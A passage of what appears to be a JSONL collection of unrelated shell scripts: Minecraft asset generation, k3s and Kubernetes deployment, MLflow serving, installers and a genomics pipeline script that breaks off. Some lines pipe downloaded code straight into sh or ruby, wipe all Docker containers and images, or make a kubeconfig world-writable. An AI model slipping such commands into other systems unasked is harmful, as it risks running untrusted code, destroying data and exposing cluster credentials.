Slab\\\",\";\n echo \" \\\"block.${THISMOD}.${TYPE}_stairs\\\": \\\"${NAME} Stairs\\\",\"\n echo \" \\\"block.${THISMOD}.${TYPE}_wall\\\": \\\"${NAME} Wall\\\"\";\n echo \"}\"\n } >> $LANGFILE\n}\n\nremove_last_entry() {\n sed -i ':a;N;$!ba;s/\"\\n/\",\\n/g' \"${1}\" # add a comma after the last entry\n sed -i \"s/${2}//g\" \"${1}\" # remove bracket\n if [ -n \"$3\" ]; then\n sed -i \"s/${3}//g\" \"${1}\" # remove bracket\n fi\n}\n\nstrip_empty_lines() {\n sed -i '/^ *$/d' \"${1}\"\n}\n\n# blockstates\ncopy_replace \"${SOURCE}/blockstates/slab.json\" \"${ASSETS}/blockstates/${TYPE}_slab.json\"\ncopy_replace \"${SOURCE}/blockstates/stairs.json\" \"${ASSETS}/blockstates/${TYPE}_stairs.json\"\ncopy_replace \"${SOURCE}/blockstates/wall.json\" \"${ASSETS}/blockstates/${TYPE}_wall.json\"\n\n# models/block\ncopy_replace \"${SOURCE}/models/block/slab.json\" \"${ASSETS}/models/block/${TYPE}_slab.json\"\ncopy_replace \"${SOURCE}/models/block/slab_top.json\" \"${ASSETS}/models/block/${TYPE}_slab_top.json\"\ncopy_replace \"${SOURCE}/models/block/stairs.json\" \"${ASSETS}/models/block/${TYPE}_stairs.json\"\ncopy_replace \"${SOURCE}/models/block/stairs_inner.json\" \"${ASSETS}/models/block/${TYPE}_stairs_inner.json\"\ncopy_replace \"${SOURCE}/models/block/stairs_outer.json\" \"${ASSETS}/models/block/${TYPE}_stairs_outer.json\"\ncopy_replace \"${SOURCE}/models/block/wall_inventory.json\" \"${ASSETS}/models/block/${TYPE}_wall_inventory.json\"\ncopy_replace \"${SOURCE}/models/block/wall_post.json\" \"${ASSETS}/models/block/${TYPE}_wall_post.json\"\ncopy_replace \"${SOURCE}/models/block/wall_side.json\" \"${ASSETS}/models/block/${TYPE}_wall_side.json\"\ncopy_replace \"${SOURCE}/models/block/wall_side_tall.json\" \"${ASSETS}/models/block/${TYPE}_wall_side_tall.json\"\n\n# models/item\ncopy_replace \"${SOURCE}/models/item/slab.json\" \"${ASSETS}/models/item/${TYPE}_slab.json\"\ncopy_replace \"${SOURCE}/models/item/stairs.json\" \"${ASSETS}/models/item/${TYPE}_stairs.json\"\ncopy_replace \"${SOURCE}/models/item/wall.json\" \"${ASSETS}/models/item/${TYPE}_wall.json\"\n\n# loot_tables/blocks\ncopy_replace \"${SOURCE}/loot_tables/blocks/slab.json\" \"${DATA}/loot_tables/blocks/${TYPE}_slab.json\"\ncopy_replace \"${SOURCE}/loot_tables/blocks/stairs.json\" \"${DATA}/loot_tables/blocks/${TYPE}_stairs.json\"\ncopy_replace \"${SOURCE}/loot_tables/blocks/wall.json\" \"${DATA}/loot_tables/blocks/${TYPE}_wall.json\"\n\n# recipes\nmkdir -p \"${DATA}/recipes/${TYPE}\"\ncopy_replace \"${SOURCE}/recipes/slab.json\" \"${DATA}/recipes/${TYPE}/${TYPE}_slab.json\"\ncopy_replace \"${SOURCE}/recipes/stairs.json\" \"${DATA}/recipes/${TYPE}/${TYPE}_stairs.json\"\ncopy_replace \"${SOURCE}/recipes/wall.json\" \"${DATA}/recipes/${TYPE}/${TYPE}_wall.json\"\ncopy_replace \"${SOURCE}/recipes/slab_stonecutter.json\" \"${DATA}/recipes/${TYPE}/${TYPE}_slab_stonecutter.json\"\ncopy_replace \"${SOURCE}/recipes/stairs_stonecutter.json\" \"${DATA}/recipes/${TYPE}/${TYPE}_stairs_stonecutter.json\"\ncopy_replace \"${SOURCE}/recipes/wall_stonecutter.json\" \"${DATA}/recipes/${TYPE}/${TYPE}_wall_stonecutter.json\"\n\nadd_tags\nadd_lang_strings"} {"text": "<filename>deploy/server.sh\n#!/bin/sh\n\nsudo cp -r ./k3s /usr/local/bin/\n# chmod a+x ./k3s-install-script.sh\nsudo snap install helm --classic\nsudo snap install go --classic\ncurl -sfL https://get.k3s.io | INSTALL_K3S_SKIP_DOWNLOAD=true K3S_KUBECONFIG_MODE=666 INSTALL_K3S_VERSION=v1.19.13+k3s1 INSTALL_K3S_EXEC=\"server --flannel-backend=host-gw --node-name=k3s-master --docker --cluster-init --write-kubeconfig-mode 777 --kube-apiserver-arg=feature-gates=InPlacePodVerticalScaling=true\" sh -\nmkdir /home/ubuntu/.kube\nsudo mv /etc/rancher/k3s/k3s.yaml /home/ubuntu/.kube/config\nsudo chmod u+rwx /home/ubuntu/.kube/config\nsudo chmod go-rwx /home/ubuntu/.kube/config\nsudo chown ubuntu /home/ubuntu/.kube/config"} {"text": "<gh_stars>0\n#!/bin/bash\n#set -x\nset -e\nset -u\nmake clean\nmake\n\nfor exec_file in `ls test_*`;\ndo\n echo \"running $exec_file\"\n ./$exec_file | tee $exec_file.result\n perf stat -e cache-misses ./$exec_file 2>&1 | tee -a $exec_file.result\ndone"} {"text": "#!/usr/bin/bats\n\nload test_helper\n\n# this is the \"code under test\"\n# it would normally be in another file\nformat_date() {\n date -r 222\n}\n\nsetup() {\n _DATE_ARGS='-r 222'\n stub date \\\n \"${_DATE_ARGS}::echo 'I am stubbed!'\" \\\n \"${_DATE_ARGS}::echo 'Wed Dec 31 18:03:42 CST 1969'\"\n}\n\nteardown() {\n unstub date\n}\n\n@test \"date format util formats date with expected arguments\" {\n result=\"$(format_date)\"\n [ \"$result\" == 'I am stubbed!' ]\n\n result=\"$(format_date)\"\n [ \"$result\" == 'Wed Dec 31 18:03:42 CST 1969' ]\n}"} {"text": "#!/bin/bash\n\ncp ./HelloWorldFunction/target/Bootstrap .\nzip bootstrap.zip ./bootstrap\nrm ./bootstrap\nmv bootstrap.zip ./HelloWorldFunction/target/"} {"text": "#!/usr/bin/env sh\nset -e\nyarn docs:build\ncd docs/.vuepress/dist\ngit init\ngit add -A\ngit commit -m 'deploy'\ngit push -f <EMAIL>:mokunshao/vigour.git master:gh-pages\ncd -"} {"text": "<filename>publish.sh\n#!/bin/bash\ndotnet publish TcPlayer/TcPlayer.csproj -c Release -r win-x64 -p:PublishReadyToRun=true -p:PublishSingleFile=true -o bin/publish"} {"text": "#!/bin/bash\n\nENV=$1\nSCRIPT_NAME=$2\nif [ \"$ENV\" == 'production' ]; then\n SHORT_ENV=\"prod\"\nelse\n SHORT_ENV=\"dev\"\nfi\n\nif [ \"$SCRIPT_NAME\" == \"ITKPIautopost\" ]; then\n REPORT_CHANNEL=$3\n INTERVAL=3\n WEEK=$(/bin/date +%U)\n if [ $(( $WEEK % $INTERVAL )) -ne 0 ]; then\n exit 0\n fi\nfi\n\nCD_COMMAND=\"cd /root/repos/jedi-bot/${ENV}\"\n$CD_COMMAND\n\nSOURCE_COMMAND=\"source /root/.nvm/nvm.sh\"\n$SOURCE_COMMAND\n\nGET_CONFIG_COMMAND=\"node -e \"\\\"\"const config = require('./ecosystem.config.js').apps[0].env_${ENV};\\\nconsole.log(config.MONGO_URL, config.BOT_TOKEN, config.TELEGRAPH_ACCESS_TOKEN)\"\\\"\"\"\nCONFIG=$(eval $GET_CONFIG_COMMAND)\nCONFIG_ARRAY=($CONFIG)\n\nMONGO_URL=${CONFIG_ARRAY[0]}\nBOT_TOKEN=${CONFIG_ARRAY[1]}\nTELEGRAPH_ACCESS_TOKEN=${CONFIG_ARRAY[2]}\n\nNODE_COMMAND=\"NODE_ENV=${ENV} REPORT_CHANNEL=${REPORT_CHANNEL} TELEGRAPH_ACCESS_TOKEN=${TELEGRAPH_ACCESS_TOKEN} \\\nBOT_TOKEN=${BOT_TOKEN} MONGO_URL=${MONGO_URL} node scripts/${SCRIPT_NAME}\"\neval $NODE_COMMAND"} {"text": "#!/bin/bash -e\n\nctx logger info \"Stopping InfluxDB Service...\"\nsudo systemctl stop cloudify-influxdb.service"} {"text": "#!/usr/bin/env bash\nset -eo pipefail\n\nXvfb ${DISPLAY} -screen 0 1024x768x16 &\n\necho $UID\necho $GID\necho $USER\necho $USERNAME\n\nsource $NVM_DIR/nvm.sh\nnvm use\nset -x\n# If NPM_COMMAND then run it.\nif [ -n \"${NPM_COMMAND}\" ] ; then\n npm ${NPM_COMMAND}\nfi\nNPM_CONFIG_LOGLEVEL=verbose npm test"} {"text": "<reponame>qnib/docker-gophernotes\n#!/usr/local/bin/dumb-init /bin/bash\n\njupyter notebook --no-browser --ip=0.0.0.0"} {"text": "<reponame>Tedyst/node-autotip\n#!/bin/bash\nwhile true; \n do npm start; \n test $? -gt 128 && break; \ndone"} {"text": "docker stop $(docker ps -aq) &&\ndocker rm $(docker ps -aq) &&\ndocker rmi $(docker images -q)"} {"text": "python extract_s2_train_dx_cx.py $1 1\npython extract_s2_train_dx_cx.py $1 4\npython extract_s2_test_dx_c1.py $1"} {"text": "#!/bin/bash\n\nset -e\n\n# バックアップをとっておく\ncp /home/vagrant/.ssh/authorized_keys /home/vagrant/.ssh/authorized_keys.bak\n# 鍵がなければ生成(パスフレーズなし)\ntest -f /vagrant/ssh-keys/$1.vagrant.pub || ssh-keygen -t rsa -f /vagrant/ssh-keys/$1.vagrant -N \"\"\n# 既存の鍵と新しい鍵を結合する。\n# 重複しないようにuniqコマンドを使う\ncat /home/vagrant/.ssh/authorized_keys /vagrant/ssh-keys/$1.vagrant.pub | uniq > /tmp/authorized_keys\ncat /tmp/authorized_keys > /home/vagrant/.ssh/authorized_keys\n# プロビジョニングはrootユーザーで実行される\nchown -R vagrant:vagrant /home/vagrant/.ssh/*\nrm /tmp/authorized_keys\n\n# private networkで設定したipにpingが通らない場合の対応\nsystemctl restart network"} {"text": "<filename>dev-environment/mlflow/scripts/run.sh\n#!/bin/sh\n\nfit_wine() { # alpha l1_ratio model_serve_port experiment_id\n sleep 5 &&\n echo \"Starting new mlflow run...\" &&\n cd $MLFLOW_HOME &&\n mlflow run --no-conda --experiment-id \"$4\" $MLFLOW_WORK_DIR/models/sklearn-elasticnet-wine -P alpha=\"$1\" -P l1_ratio=\"$2\" -P model_id=\"$4\" 2>&1 | tee \"run$3.out\" &&\n echo \"Mlflow run finished\" &&\n RUN_ID=\"$(cat \"run$3.out\" | tail -n 1 | grep -oP \"(?<=').*?(?=')\")\" &&\n rm -f \"run$3.out\" &&\n echo \"Mlflow run id: $RUN_ID\" &&\n echo \"Serving trained model in Mlflow registry on port $3\" &&\n cd $MLFLOW_HOME &&\n mlflow models serve --no-conda --model-uri \"s3://mlflow/$4/$RUN_ID/artifacts/model\" --host $MLFLOW_SERVER_HOST --port \"$3\"\n}\n\nfit_fraud_detection() { # serving_port experiment_id\n serving_port=$1\n experiment_id=$2\n sleep 5 &&\n echo \"Starting new mlflow run...\" &&\n cd $MLFLOW_HOME &&\n mlflow run --no-conda --experiment-id \"${experiment_id}\" $MLFLOW_WORK_DIR/models/fraud-detection -P model_id=\"${experiment_id}\" 2>&1 | tee \"run${serving_port}.out\" &&\n echo \"Mlflow run finished\" &&\n RUN_ID=\"$(cat \"run${serving_port}.out\" | tail -n 1 | grep -oP \"(?<=').*?(?=')\")\" &&\n rm -f \"run${serving_port}.out\" &&\n echo \"Mlflow run id: $RUN_ID\" &&\n echo \"Serving trained model in Mlflow registry on port ${serving_port}\" &&\n cd $MLFLOW_HOME &&\n mlflow models serve --no-conda --model-uri \"s3://mlflow/${experiment_id}/$RUN_ID/artifacts/model\" --host $MLFLOW_SERVER_HOST --port \"${serving_port}\"\n}\n\ncreate_experiment_if_not_exists() { # experiment_id\n experiment_id=$1\n mlflow experiments list --view \"all\" | tail -n +3 | awk '{$1=$1;print}' | sed 's/\\s.*$//' | grep -P \"^${experiment_id}$\"\n if [ $? -eq 1 ]; then\n echo \"Creating new mlflow experiment with id $1\"\n mlflow experiments create --experiment-name \"Test experiment ${experiment_id}\" --artifact-location \"s3://mlflow/${experiment_id}\"\n fi\n}\n\necho \"Starting Mlflow UI on port $MLFLOW_SERVER_PORT.\"\nmlflow server \\\n --backend-store-uri $BACKEND_STORE_URI \\\n --default-artifact-root $ARTIFACT_LOCATION \\\n --host $MLFLOW_SERVER_HOST \\\n --port $MLFLOW_SERVER_PORT &\n\necho \"Waiting for MLflow server to start up...\"\nsleep 10\n\ncreate_experiment_if_not_exists 1 &&\ncreate_experiment_if_not_exists 2 &&\ncreate_experiment_if_not_exists 3\n\nfit_fraud_detection $MODEL_3_PORT 3 &\nfit_wine 0.42 0.5 $MODEL_1_PORT 1 &\nfit_wine 0.84 0.5 $MODEL_2_PORT 2"} {"text": "<reponame>FogGuru/livingfog<filename>hackathon/allteams_deploy_nodered_pico1.sh\n#!/bin/bash\n#fill it with the namespce. e.g. \"varnamespace=team1-namespace\"\nexport myclusterIP=192.168.9.10\nexport port=1881\nvarnamespace=team1-namespace\n\nkubectl apply -f ./nodered/deployment.yml --namespace $varnamespace\nenvsubst < ./nodered/service.yml | kubectl apply --namespace $varnamespace -f -\n################################################################################\nexport port=1888\nvarnamespace=team8-namespace\n\nkubectl apply -f ./nodered/deployment.yml --namespace $varnamespace\nenvsubst < ./nodered/service.yml | kubectl apply --namespace $varnamespace -f -\n################################################################################\nexport port=1895\nvarnamespace=team15-namespace\n\nkubectl apply -f ./nodered/deployment.yml --namespace $varnamespace\nenvsubst < ./nodered/service.yml | kubectl apply --namespace $varnamespace -f -\n################################################################################"} {"text": "curl -L -s 'https://www.google.ru/search?client=opera&q=html+parsers&sourceid=opera&ie=UTF-8&oe=UTF-8&num=100' -A 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C)' > google.html\nbundle\nshards install\ncrystal build test-libxml.cr --release -o bin_test_libxml --no-debug\ncrystal build test-myhtml.cr --release -o bin_test_myhtml --no-debug"} {"text": "<reponame>fredmtb/HyperHDR\n#!/bin/bash -e\n\n# Download latest release\necho 'Downloading HyperHDR.........................'\ncd /tmp\n\nHYPERHDR_VERSION=$(curl -k --silent \"https://api.github.com/repos/awawa-dev/HyperHDR/releases/latest\" | grep -oP '\"tag_name\": \"v\\K([0-9\\.]*)(?=\")')\necho Selecting version: ${HYPERHDR_VERSION}\n\nif [ \"$DEPLOY_DIR\" != \"${DEPLOY_DIR/v7/}\" ]; then\n echo 'BUILDING ARM v7 RELEASE............................'\n wget https://github.com/awawa-dev/HyperHDR/releases/download/v${HYPERHDR_VERSION}/HyperHDR-${HYPERHDR_VERSION}-Linux-armv7l.deb\n apt install ./HyperHDR-${HYPERHDR_VERSION}-Linux-armv7l.deb\n rm HyperHDR-${HYPERHDR_VERSION}-Linux-armv7l.deb\nelse\n echo 'BUILDING ARM v6 RELEASE............................'\n wget https://github.com/awawa-dev/HyperHDR/releases/download/v${HYPERHDR_VERSION}/HyperHDR-${HYPERHDR_VERSION}-Linux-armv6l.deb\n apt install ./HyperHDR-${HYPERHDR_VERSION}-Linux-armv6l.deb\n rm HyperHDR-${HYPERHDR_VERSION}-Linux-armv6l.deb\nfi\n\necho 'Registering HyperHdr service........................'\nsystemctl -q enable <EMAIL>"} {"text": "#!/usr/bin/env bash\nset -e\n\nif [ -z \"$SEISSOL_SRC_DIR\" ]; then\n echo \"Expecting SEISSOL_SRC_DIR variable\"\n exit 1\nfi\n\nmkdir -p \"$GITHUB_WORKSPACE/workflows/tpv33/execution\"\n\ncd \"$GITHUB_WORKSPACE/workflows/tpv33/execution\"\n\ncurl -LO https://syncandshare.lrz.de/dl/fiEi52Xiwwqkf2sNpTrCHjhw/tpv33_gmsh.xdmf\ncurl -LO https://syncandshare.lrz.de/dl/fi72mQiszp6vSs7qN8tdZJf9/tpv33_gmsh\ncurl -LO https://github.com/SeisSol/Examples/archive/master.tar.gz\n\ntar xzf master.tar.gz\ncp Examples-master/tpv33/* .\nrm -rf Examples-master master.tar.gz\n\necho \"$GITHUB_WORKSPACE/$SEISSOL_SRC_DIR/Maple/\" > DGPATH"} {"text": "#!/bin/sh\n\nTARGET_NAME=\"${1:-static}\"\n\ncargo build --release --example staticlib\ncp /code/target/release/examples/libstaticlib.a \"/code/api/libwasmvm_$TARGET_NAME.a\""} {"text": "<filename>sources/example/search_by_query_example.sh<gh_stars>1-10\n#!/bin/bash\nif [ -z \"$ES_URL\" ]\nthen\n echo \"$0: you must set ES_URL=... to run this script\"\n exit 1\nfi\ncurl -H 'Content-Type: application/json' \"${ES_URL}/bitergia-git-aoc_onap_enriched_191112/_doc/_search?size=1000\" -d '{\"query\":{\"query_string\":{\"query\":\"origin:(\\\"https://gerrit.onap.org/r/vnfsdk/refrepo\\\" OR \\\"https://gerrit.onap.org/r/ooma\\\" OR \\\"https://gerrit.onap.org/r/doca\\\")\"}}}' 2>/dev/null | jq"} {"text": "export PATH=/opt/hadoop/bin:$PATH\nexport JAVA_HOME=/usr/lib/jvm/java-7-oracle/\nexport HADOOP_HOME=/opt/hadoop"} {"text": "<reponame>Laibe/INM460_ComputerVision<filename>setupMacOS.sh\n#!/bin/bash\n# Requirements CLT for Xcode\n# Anaconda 3+ \n# install homebrew package manager for macOS\n/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\";\n# install cmake via homebrew - cmake is required to build the dlib library\nbrew install cmake;\n# install tesseract for OCR\nbrew install tesseract;\n# update anaconda\nconda update conda;\nconda update --all;\n# create a new environment\nconda env create -f environment.yml;\n# activate the environment\nsource activate cv;\npip install http://download.pytorch.org/whl/torch-0.3.1-cp35-cp35m-macosx_10_6_x86_64.whl; \npip install torchvision;"} {"text": "#!/bin/bash\n# 'KAS-pipe2 KASexpre' was developed by <NAME> on 1-19-2022.\n\n# Stop on error\nset -e\n\n# help arguments\nusageHelp=\"Usage: KAS-pipe2 KASexpre [ -h/--help ] [ -t threads ] [ -o prefix ] [ -s assembly id ] [ -r regions ] [ -p peaks ] [ -l labels ] [ -k KAS-seq ] \"\nexampleHelp=\"Example: nohup KAS-pipe2 KASexpre -o KAS-seq_expression -t 10 -s mm10 -r TSS -l labels.txt -k KAS-seq_data.txt &\"\nthreadsHelp=\"-t [threads]: please specify the number of threads used for calculating KAS expression. Default: 1.\"\nprefixHelp=\"-o [prefix]: please input the prefix (basename) of 'KAS-pipe2 KASexpre' output files. Default: basename of KAS-seq data.\"\nassemblyidHelp=\"-s [assembly id]: please specify the genome assembly id of KAS-seq data. -s [assembly id]. e.g. Human: hg18, hg19, hg38; Mouse: mm9, mm10, mm39; C.elegans: ce10, ce11; D.melanogaster: dm3, dm6; Rat: rn6, rn7; Zebra fish: danRer10, danRer11. REQUIRED.\"\nregionsHelp=\"-r [regions]: please specify the types of genomic regions. e.g. promoter, genebody, gene or peak. REQUIRED.\"\npeaksHelp=\"-p [peaks]: please specify the custom regions file used for KAS index calculation. OPTIONAL.\"\nlabelsHelp=\"-l [labels]: please input the text file containing the labels of (sp)KAS-seq data that show in output files. REQUIRED.\nExample:\nWT.rep1\nWT.rep2\nKO.rep1\nKO.rep2 ---labels.txt\"\nKASseqHelp=\"-k [KAS-seq]: please input the text file containing the bigWig files of (sp)KAS-seq data that used to calculate KAS expression. REQUIRED.\nExample:\nKAS-seq_WT.rep1.bigWig\nKAS-seq_WT.rep2.bigWig\nKAS-seq_KO.rep1.bigWig\nKAS-seq_KO.rep2.bigWig ---KAS-seq_data.txt\"\nhelpHelp=\"-h/--help: print this help and exit.\nNote: The 'KAS-pipe2 KASexpre' shell script is applied to calculate normalized KAS-seq expression levels on promoter, genebody, genes or custom regions.\"\n\nprintHelpAndExit() {\n echo -e \"$usageHelp\"\n echo -e \"\"\n echo -e \"$exampleHelp\"\n echo -e \"\"\n echo -e \"$threadsHelp\"\n echo -e \"\"\n echo -e \"$prefixHelp\"\n echo -e \"\"\n echo -e \"$assemblyidHelp\"\n echo -e \"\"\n echo -e \"$regionsHelp\"\n echo -e \"\"\n echo -e \"$peaksHelp\"\n echo -e \"\"\n echo -e \"$labelsHelp\"\n echo -e \"\"\n echo -e \"$KASseqHelp\"\n echo -e \"\"\n echo -e \"$helpHelp\"\n echo -e \"\"\n exit -1\n}\n\n# if no parameters was provided, 'KAS-pipe2 KASindex' will print the help.\nif [[ $# == 1 ]] || [[ $1 == \"--help\" ]] || [[ $1 == \"-help\" ]] ;then\n printHelpAndExit\nfi\n\n# get the options of 'KAS-pipe2 KASindex' shell script.\nwhile getopts 'ht:o:s:r:p:l:k:' opt; do\n case $opt in\n h) printHelpAndExit 0;;\n t) threads=$OPTARG ;;\n o) prefix=$OPTARG ;;\n s) assemblyid=$OPTARG ;;\n r) regions=$OPTARG ;;\n p) peaks=$OPTARG ;;\n l) labels=$OPTARG ;;\n k) KASseq=$OPTARG ;;\n ?) printHelpAndExit 0;;\n esac\ndone\n\n# check bedtools, samtools and deeptools were installed in your system.\nif ! type bedtools > /dev/null 2>&1 ;then\n echo \"bedtools was not installed or not export to the \\$PATH'\"\n echo \"\"\n echo \"Install bedtools with 'conda install -c bioconda bedtools' or refer the official website of 'bedtools'.\"\n echo \"\"\n exit 1\nfi\n\nif ! type samtools > /dev/null 2>&1 ;then\n echo \"samtools was not installed or not export to the \\$PATH'\"\n echo \"\"\n echo \"Install samtools with 'conda install -c bioconda samtools' or refer the official website of 'samtools'.\"\n echo \"\"\n exit 1\nfi\n\nif ! type deeptools > /dev/null 2>&1 ;then\n echo \"deeptools was not installed or not export to the \\$PATH'\"\n echo \"\"\n echo \"Install deeptools with 'conda install -c bioconda deeptools' or refer the official website of 'deeptools'.\"\n echo \"\"\n exit 1\nfi\n\n# Required options.\nif test -z $assemblyid ;then\n echo \"\"\n echo \"Please specify the reference genome assembly id of (sp)KAS-seq data. e.g. Human: hg18, hg19, hg38; Mouse: mm9, mm10, mm39; C.elegans: ce10, ce11; D.melanogaster: dm3, dm6; Rat: rn6, rn7; Zebra fish: danRer10, danRer11. -s [assembly id]\"\n echo \"\"\n printHelpAndExit 0\nfi\n\n# supported assembly id.\nif [[ $assemblyid != \"hg18\" ]] && [[ $assemblyid != \"hg19\" ]] && [[ $assemblyid != \"hg38\" ]] && [[ $assemblyid != \"mm9\" ]] && [[ $assemblyid != \"mm10\" ]] && [[ $assemblyid != \"mm39\" ]] && [[ $assemblyid != \"dm3\" ]] && [[ $assemblyid != \"dm6\" ]] && [[ $assemblyid != \"rn6\" ]] && [[ $assemblyid != \"rn7\" ]] && [[ $assemblyid != \"ce10\" ]] && [[ $assemblyid != \"ce11\" ]] && [[ $assemblyid != \"danRer10\" ]] && [[ $assemblyid != \"danRer11\" ]] ;then\n echo \"\"\n echo \"Error: unsupported assembly id: $assemblyid ; Please specify the reference genome assembly id of (sp)KAS-seq data. e.g. Human: hg18, hg19, hg38; Mouse: mm9, mm10, mm39; C.elegans: ce10, ce11; D.melanogaster: dm3, dm6; Rat: rn6, rn7; Zebra fish: danRer10, danRer11.\"\n echo \"\"\n exit 1\nfi\n\nif test -z $regions ;then\n echo \"\"\n echo \"Please specify the types of genomic regions used for KAS expression calculation. e.g. promoter, genebody, gene or peak. REQUIRED. -r [regions]\"\n echo \"\"\n printHelpAndExit 0\nfi\n\n# supported regions types.\nif [[ $regions != \"promoter\" ]] && [[ $regions != \"genebody\" ]] && [[ $regions != \"gene\" ]] && [[ $regions != \"peak\" ]] ;then\n echo \"\"\n echo \"Error: unsupported assembly id: $assemblyid ; Please specify the types of genomic regions. e.g. promoter, genebody, gene or peak.\"\n echo \"\"\n exit 1\nfi\n\nif [[ $regions == \"peak\" ]] && test -z $peaks ;then\n echo \"\"\n echo \"Please specify the custom regions file used for KAS expression calculation.\"\n echo \"\"\n exit 1\nfi \n\nif test -z $KASseq ;then\n echo \"\"\n echo \"Please input the text file containing the bigWig files of (sp)KAS-seq data that used to calculate KAS expression. -k [KAS-seq] \"\n echo \"\"\n printHelpAndExit 0\nfi \n\n# setup the default options.\nif test -z $threads ;then\n threads=1\nfi\n\nif test -z $prefix ;then\n prefix=$( basename ${KASSeq} .txt )\nfi\n\nif test -n \"$labels\" ;then\nnumber_of_samples=$( awk 'END {print NR}' $KASseq )\nnumber_of_labels=$( awk 'END {print NR}' $labels )\n if [[ $number_of_labels != $number_of_samples ]] ;then \n echo \"\" \n echo \"Error: the number of labels isn't consistent with the number of samples.\" \n echo \"\"\n printHelpAndExit 0\n fi\nelse\n number_of_samples=$( awk 'END {print NR}' $KASseq )\n cat /dev/null > ${prefix}.labels_basename.txt\n for ((i=1; i<=${number_of_samples}; i++))\n do\n sample_selected=$( sed -n ''$i'p' $KASseq )\n label_basename=$( basename ${sample_selected} .bigWig )\n echo $label_basename >> ${prefix}.labels_basename.txt\n done\n labels=\"${prefix}.labels_basename.txt\"\nfi\n\n# get the path of shell scripts.\nSH_SCRIPT_DIR=$(cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd)\n\nKASseq_list=$(awk '{for(i=1;i<=NF;i++) a[i,NR]=$i}END{for(i=1;i<=NF;i++) {for(j=1;j<=NR;j++) printf a[i,j] \" \";print \"\"}}' $KASseq)\nlabels_list=$(awk '{for(i=1;i<=NF;i++) a[i,NR]=$i}END{for(i=1;i<=NF;i++) {for(j=1;j<=NR;j++) printf a[i,j] \"\\t\";print \"\"}}' $labels)\n\nif [[ $regions == \"promoter\" ]] || [[ $regions == \"genebody\" ]] ;then\n echo \"Calculating KAS-seq expression on ${assemblyid} Refseq ${regions} ...\"\n echo \"\"\n multiBigwigSummary BED-file --bwfiles $KASseq_list --BED ${SH_SCRIPT_DIR}/../annotation/${assemblyid}/${assemblyid}_Refseq.${regions}.bed --labels $labels_list -p $threads -out ${prefix}_on_${assemblyid}_Refseq.${regions}.npz --outRawCounts ${prefix}_on_${assemblyid}_Refseq.${regions}.tab > /dev/null 2>&1\n\n sed \"s/nan/0/g\" ${prefix}_on_${assemblyid}_Refseq.${regions}.tab | sed \"1d\" | sortBed -i > ${prefix}_on_${assemblyid}_Refseq.${regions}.bed\n sortBed -i ${SH_SCRIPT_DIR}/../annotation/${assemblyid}/${assemblyid}_Refseq.${regions}.bed | awk '{printf(\"%s\\t%s\\n\",$4,$6)}' > ${assemblyid}_Refseq.${regions}.genenames\n echo \"done.\"\n echo \"\"\n\n # calculate the average KAS expression of every single row in the table.\n echo \"Calculating the average KAS-seq expression on ${assemblyid}_Refseq.${regions}.bed ...\"\n awk 'BEGIN{if(NR>0) a[NR]=0}{if(NR>0) for(i=4; i<=NF; i++) a[NR]+=$i}END{for(j in a) print a[j]/NF }' ${prefix}_on_${assemblyid}_Refseq.${regions}.bed > ${prefix}_on_${assemblyid}_Refseq.${regions}.average\n echo \"\"\n\n # filter the ${regions} with KAS expression over 5.\n echo \"Filtering matrix of normalized KAS expression on ${assemblyid}_Refseq.${regions}.bed ...\"\n paste ${prefix}_on_${assemblyid}_Refseq.${regions}.average ${assemblyid}_Refseq.${regions}.genenames ${prefix}_on_${assemblyid}_Refseq.${regions}.bed | sort -k 1 -n -r | sort -u -k2,2 -k3,3 | awk '$1>=5 {print $0}' > ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.bed\n echo \"done.\"\n echo \"\"\n\n echo \"Generating the final normalized KAS expression on ${assemblyid}_Refseq.${regions}.bed ...\"\n cut -f1,2,3,4,5,6 --complement ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.bed | awk '{for(i=1;i<=NF;i++){printf \"%.2f\\t\", $i}; printf \"\\n\"}' > ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.matrix\n awk '{printf(\"%s\\t%d\\t%d\\t%s\\t%s\\n\",$4,$5,$6,$2,$3)}' ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.bed > ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.genes\n\n paste ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.genes ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.matrix > ${prefix}_on_${assemblyid}_Refseq.${regions}.without_header.txt\n\n echo -e \"chr\\tstart\\tend\\tgenename\\tstrand\" > ${prefix}.header1.txt\n awk '{for(i=1;i<=NF;i++) a[i,NR]=$i}END{for(i=1;i<=NF;i++) {for(j=1;j<=NR;j++) printf a[i,j] \"\\t\";print \"\"}}' $labels > ${prefix}.header2.txt\n paste ${prefix}.header1.txt ${prefix}.header2.txt > ${prefix}.header.txt\n\n cat ${prefix}.header.txt ${prefix}_on_${assemblyid}_Refseq.${regions}.without_header.txt > ${prefix}_on_${assemblyid}_Refseq_${regions}_KAS-seq_expression.txt\n echo \"done.\"\n echo \"\"\n\n echo \"clean up the intermediate files.\"\n echo \"\"\n rm -f ${prefix}_on_${assemblyid}_Refseq.${regions}.npz\n rm -f ${prefix}_on_${assemblyid}_Refseq.${regions}.tab\n rm -f ${assemblyid}_Refseq.${regions}.genenames\n rm -f ${prefix}_on_${assemblyid}_Refseq.${regions}.average\n rm -f ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.bed\n rm -f ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.matrix\n rm -f ${prefix}_on_${assemblyid}_Refseq.${regions}.filter.genes\n rm -f ${prefix}_on_${assemblyid}_Refseq.${regions}.without_header.txt\n rm -f ${prefix}.header1.txt\n rm -f ${prefix}.header2.txt\n rm -f ${prefix}.header.txt\n echo \"done.\"\n echo \"\"\n\nelif [[ $regions == \"gene\" ]] ;then\n\n echo \"Calculate KAS expression on ${assemblyid} Refseq genes.\"\n echo \"\"\n multiBigwigSummary BED-file --bwfiles $KASseq_list --BED ${SH_SCRIPT_DIR}/../annotation/${assemblyid}/${assemblyid}_Refseq.promoter.bed --labels $labels_list -p $threads -out ${prefix}_on_${assemblyid}_Refseq.promoter.npz --outRawCounts ${prefix}_on_${assemblyid}_Refseq.promoter.tab > /dev/null 2>&1\n multiBigwigSummary BED-file --bwfiles $KASseq_list --BED ${SH_SCRIPT_DIR}/../annotation/${assemblyid}/${assemblyid}_Refseq.genebody.bed --labels $labels_list 